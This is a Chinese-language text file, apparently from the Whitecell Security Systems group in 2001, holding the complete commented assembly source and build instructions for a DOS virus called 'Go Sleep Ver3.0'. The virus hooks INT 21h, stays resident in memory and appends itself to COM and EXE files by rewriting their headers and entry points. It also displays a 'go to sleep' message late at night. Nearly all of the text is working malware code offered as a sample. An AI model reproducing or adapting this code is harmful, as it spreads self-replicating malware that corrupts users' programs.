编写感染com与exe文件的病毒的样例程序 .txt

电子书籍,里面有丰富的文章和精神的营养,

编写感染COM与EXE文件的病毒的样例程序 

Author: whg
Email: [e-mail]
Homepage:http://www.whitecell.org 
Date: 2001-11-29


;此程序是d由v0病毒改装升级而来 
;在DOS下才有一定的传染能力 
;此程序部分应用了32位编程 
;制作方法如下 
;tasm32 dv1; 
;tlink dv1; 
;Debug dv1.exe 
;-n dv1.com 
;-w 
;-q 
;最后生成dv1.com病毒程序 
OFF equ Offset 
DosMcb Struc ;Dos内存控制链结构（部分） 
Flag db ? ;是'M'则不是最后一块；是 'Z'则是最后一块 
Owner dw ? ;是008: 则是系统所有；是0则为未使用内存块 
Sizes dw ? ;本块大小，按节计算（1节=10h字节） 
DosMcb Ends 
ExeHeader Struc ;Exe文件头结构 
Flags dw 'ZM';Exe文件标志 
ModSize dw ? ;Exe文件最后一页字节数 
Pages dw ? ;Exe文件页数（1页为512字节） 
Reloc dw ? ;Exe文件从定位项数 
MeSize dw ? ;本文头节数 
MinMem dw ? ;该程序所须最小内存（节） 
MaxMem dw ? ;该程序所须最大内存（节） 
StartSs dw ? ;程序Sp初值 
StartSp dw ? ;程序相对Ss初值 
CheckSum dw ? ;文件头检查和 
StartIp dw ? ;程序Ip初值 
StartCs dw ? ;程序相对Cs初值 
RelocOff dw ? ;从定位信息偏移 
ExeHeader Ends 
VirusSize=OFF @@End-OFF @@Start ；（病毒大小） 
VirusMemSize=OFF @@MemEnd-OFF @@Start ；（病毒需要的内存大小） 
.386 
.model small 
.code 
org 100h ;按COM格式编写 
@@Start: ;病毒引导块 
pusha ;保存所有通用寄存器 
mov ax,4d4dh 
int 21h ;是否已经驻留内存(自定义中断） 
cmp ax,4d4dh 
jz short @@ExecOldApp ;否,调用安装模块 
call @@Install 
@@ExecOldApp: 
mov ah,2ch 
int 21h ;得到系统时间 
cmp cx,22*100h+30 ;（Cmp 时间：22：30） 
jb short @@TestFlag ;不到22：30不调用显示消息 
call @@DisplayMsg ;调用表现块 
@@TestFlag: 
clc ;预设为Clc指令，表示是Com文件（若在传染时被改成Stc则是Exe文件） 
jc short @@IsExeApp 
@@IsComApp: 
call @@GetOldComAppCode 
OldAppCode dw 20cdh ;20cdh恰是Int 20h指令，用以返回Dos 
dw 0000h ;这里为保存原COM文件头部4字节信息 
@@GetOldComAppCode: 
pop si ;得到OldAppCode的地址 
mov di,100h 
cld 
lodsd 
stosd ;恢复原COM头部4字节 
popa ;恢复所有通用寄器 
push word ptr 100h 
ret ;去执行原COM程序 
@@IsExeApp: 
popa ;恢复所有通用寄器 
cli ;改变堆栈指针时要关闭中断 
mov sp,es ;得到Psp（ Sp=PSP段址） 
add sp,10h 
SpAddData dw 0c481h;0bch是add sp,xxxx指令 
OldAppSs dw 000h ;原Exe文件Ss相对值 
mov ss,sp ;计算出原程序堆栈并恢复 
MoveDataToSp db 0bch ;0bch是mov sp,xxxx指令 
OldAppSp dw 000h ;原Exe文件Sp值 
sti ;从新开启中断 
push ax 
mov ax,es ;得到Psp（ Ax=PSP段址） 
add ax,10h 
AxAddData db 005h ;05h是add ax,xxxx指令,计算原程序Cs值 
OldAppCs dw 000h ;原Exe文件Cs相对值 
movzx esp,sp ;转化为32位[esp]式堆栈寻址 
xchg ax,[esp] ;恢复ax,而不能用"xchg ax,[sp]"16位不支持[sp]式堆栈寻址 
PushWordData db 068h ;068h是push word ptr xxxx指令 
OldAppIp dw 000h ;原Exe文件Ip值 
retf ;去执行原Exe程序 
@@Install: 
push ds 
push es ;保存段寄存器 
mov ax,ds 
dec ax ;得到自己的MCB结构段址，它在程序的PSP前 
@@ContFindLastMcb: 
mov ds,ax 
cmp ds:[Flag],'Z' ;是最后一块吗？ 
jz short @@FoundLastMcb 
add ax,ds:[Sizes] 
inc ax ;计算下一个MCB 的段址=本块段址+本块大小+1 
jmp short @@ContFindLastMcb 
@@FoundLastMcb: 
sub ds:[Sizes],(VirusMemSize/10h)+1 ;把最后一块大小减去病毒所须内存大小（节数） 
add ax,ds:[Sizes] 
inc ax ;计算出病毒在高端RAM的地址（即在最后一块划出的空间段址） 
mov es,ax 
xor di,di 
push cs 
pop ds ；复位数据段 
call @@GetVirusBase 
@@GetVirusBase: 
pop si 
sub si,OFF @@GetVirusBase-OFF @@Start ;得到病毒首址 
mov cx,VirusSize 
cld 
rep movsb ;把病毒搬运到高端地址 
sub ax,10h ;计算出高端病毒的段地址（为使病毒偏移对齐，所以减去10h） 
mov ds,ax 
@@ContInstall: 
mov ax,3521h 
int 21h ;取Int 21h的中断向量，并保存 
mov ds:OldInt21Seg,es 
mov ds:OldInt21Off,bx 
lea dx,@@NewInt21 
mov ax,2521h 
int 21h ;设新的Int 21h处理程序到@@NewInt21处 
pop es 
pop ds 
ret 
@@NewInt21: ;新Int21 h服务程序(传染块） 
cmp ax,4d4dh 
jnz short @@NextHook 
iret ;是自定义中断，直接返回 
@@NextHook: 
cmp ah,4bh 
jz short @@MyBeCom 
cmp ah,43h 
jz short @@MyBeCom 
cmp ah,3dh 
jz short @@MyBeCom ;截获4b,43,3d号Dos功能 
@@JmpOldInt21: 
cli ; 进入Int21h前，需要关中断！ 
JmpFar db 0eah ;远跳转指令jmp xxxx:xxxx 
OldInt21Off dw ? 
OldInt21Seg dw ? 
@@CallInt21: ; 模拟Int 21h指令 
pushf 
push cs 
call @@JmpOldInt21 
ret 
@@MyBeCom: ;入口参数ds:dx=以零结尾的Com文件名字符串 
pusha 
push ds 
mov si,dx 
xor al,al 
@@ContFindExtName: ;找扩展名 
inc si 
cmp [si],al 
jnz short @@ContFindExtName 
mov eax,[si-4] 
or eax,20202020h ;转化为小写字母 
cmp eax,'moc.' ;是.com文件吗？ 
jz short @@IsComFile 
cmp eax,'exe.' ;是.exe文件吗？ 
jz short @@IsExeFile 
@@ExitOpt: 
pop ds 
popa 
jmp short @@JmpOldInt21 
@@IsComFile: 
mov ax,3d02h 
call @@CallInt21 ;3dh,打开COM文件 
jc short @@OptComFalse ;失败 
mov bx,ax 
push cs 
pop ds ;复位数据段 
mov ds:byte ptr[@@TestFlag],0f8h ;设为Clc指令，表示传染的是Com文件 
lea dx,OldAppCode 
mov cx,4 
mov ah,3fh 
int 21h ;读文件首部4字节 
jc short @@CloseComFile 
mov si,dx 
cmp word ptr[si],'ZM' ;是否是EXE文件（是否是Com文件不能仅由扩展名判断） 
jz short @@CloseComFile ;是就不感染 
cmp byte ptr[si+3],'V';是否有已感染病毒标志 
jz short @@CloseComFile ;是则说明该程序已经被感染了 
mov ax,4202h 
xor cx,cx 
xor dx,dx 
int 21h ;将文件指针移到文件尾，返回dx:ax=文件长度 
or dx,dx 
jnz short @@CloseComFile ;文件太大不感染 
mov dx,ax 
add ax,VirusSize 
jc short @@CloseComFile ;文件太大不感染 
cmp ax,0fd00h 
ja short @@CloseComFile ;文件太大不感染 
sub dx,03 ;计算出Jmp Virus的偏移量 
mov ds:JmpOffset,dx 
lea dx,@@Start 
mov cx,VirusSize 
mov ah,40h 
int 21h ;将病毒写到文件尾部 
mov ax,4200h 
xor cx,cx 
xor dx,dx 
int 21h ;把文件指针移到文件首 
mov cx,04h 
lea dx,@@JmpVirus 
mov ah,40h 
int 21h ;写Jmp Virus与病毒Flag 4字节到文件首部 
@@CloseComFile: 
mov ah,3eh 
int 21h ;关闭文件 
@@OptComFalse: 
jmp short @@ExitOpt 
@@IsExeFile: 
mov ax,3d02h 
call @@CallInt21 ;3dh,打开Exe文件 
jc @@OptExeFalse ;失败 
mov bx,ax 
push cs 
pop ds ;复位数据段 
mov ds:byte ptr[@@TestFlag],0f9h ;设为Stc指令，表示传染的是Exe文件 
lea dx,MyExeHeader 
mov cx,size ExeHeader 
mov ah,3fh 
int 21h ;读文件首部4字节 
jc @@CloseExeFile 
cmp ax,cx 
jb @@CloseExeFile 
mov si,dx 
cmp word ptr[si.Flags],'ZM' ;是否是EXE文件（是否是EXE文件不能仅由扩展名判断） 
jnz @@CloseExeFile ;不是就不感染 
cmp [si.CheckSum],'VV' ;是否有已感染病毒标志 
jz @@CloseExeFile ;是则说明该程序已经被感染了 
mov ax,4202h 
xor cx,cx 
xor dx,dx 
int 21h ;将文件指针移到文件尾，返回dx:ax=文件长度 
cmp dx,8h 
ja short @@CloseExeFile ;文件太大，可能是Windows应用程序 
shl edx,16 
mov dx,ax 
push edx ;保存文件大小 
shr edx,4 
sub dx,[si.MeSize] ;计算病毒在该Exe程序中新的相对Cs 
and ax,0fh ;计算病毒在该Exe程序中新的Ip值(0=<Ip<10h) 
mov cx,dx ;cx=dx=新的相对Cs值 
xchg [si.StartCs],dx 
mov ds:[OldAppCs],dx ;修改相对Cs值，保存原相对Cs值 
xchg [si.StartSs],cx 
mov ds:[OldAppSs],cx ;修改相对Ss值，保存原相对Ss值 
xchg [si.StartIp],ax 
mov ds:[OldAppIp],ax ;修改Ip值，保存原Ip值 
xor ax,ax 
xchg [si.StartSp],ax ;修改Sp值，保存原Sp值 
mov ds:[OldAppSp],ax 
mov [si.CheckSum],'VV';设置传染标志 
pop edx ;弹出文件大小 
mov ecx,VirusSize 
add edx,ecx ;计算感染后文件的大小 
mov ax,dx 
and ax,1ffh ;计算感染后文件的ModSize 
mov [si.ModSize],ax 
add edx,1ffh 
shr edx,9 ;计算感染后文件的Pages 
mov [si.Pages],dx 
lea dx,@@Start 
mov ah,40h 
int 21h ;将病毒写到文件尾部 
mov ax,4200h 
xor cx,cx 
xor dx,dx 
int 21h ;把文件指针移到文件首 
mov cx,size ExeHeader 
lea dx,MyExeHeader 
mov ah,40h 
int 21h ;写文件头到文件首部 
@@CloseExeFile: 
mov ah,3eh 
int 21h ;关闭文件 
@@OptExeFalse: 
jmp @@ExitOpt 
@@JmpVirus: 
JumpNear db 0e9h ;近转移指令Jmp near xxxx 
JmpOffset dw ? 
VirusFlag db 'V' ;病毒标志为'V'字符 
@@DisplayMsg: 
pop dx 
push dx 
add dx,OFF @@Message-OFF @@TestFlag ;计算@@Message的偏移量 
push ds 
push cs 
pop ds 
mov ah,09h 
int 21h ;显示信息，“夜已深，你该睡觉了!” 
pop ds 
ret 
@@Message: 
db 0ah,0dh,07h 
db 'Night is deep,you must go sleep!' 
db 0ah,0dh,'$' 
db 'Go Sleep Ver3.0 by Whg 2001.5.2' 
@@End: 
MyExeHeader db size ExeHeader dup(?) 
@@MemEnd: 
end @@Start 





WSS(Whitecell Security Systems)，一个非营利性民间技术组织，致力于各种系统安全技术的研究。坚持传统的hacker精神，追求技术的精纯。
WSS 主页：http://www.whitecell.org/ 
WSS 论坛：http://www.whitecell.org/forum/